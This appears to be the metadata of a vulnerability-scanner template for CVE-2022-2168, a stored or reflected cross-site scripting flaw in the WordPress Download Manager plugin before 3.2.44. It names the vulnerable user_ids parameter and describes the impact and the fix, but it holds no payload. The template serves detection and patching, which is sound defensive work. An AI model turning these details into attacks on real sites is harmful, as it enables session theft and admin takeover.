WordPress Download Manager < 3.2.44 - Authenticated Cross-Site Scripting

id: CVE-2022-2168

info:
  name: WordPress Download Manager < 3.2.44 - Authenticated Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The WordPress Download Manager plugin before version 3.2.44 does not properly sanitize and escape the user_ids parameter in the stats history dashboard. This allows authenticated attackers to perform Cross-Site Scripting attacks by injecting malicious JavaScript code.
  impact: |
    Authenticated administrators can inject malicious JavaScript via XSS in the user_ids parameter, potentially stealing session cookies or performing unauthorized administrative actions.
  remediation: |
    Update the WordPress Download Manager plugin to version 3.2.44 or later.
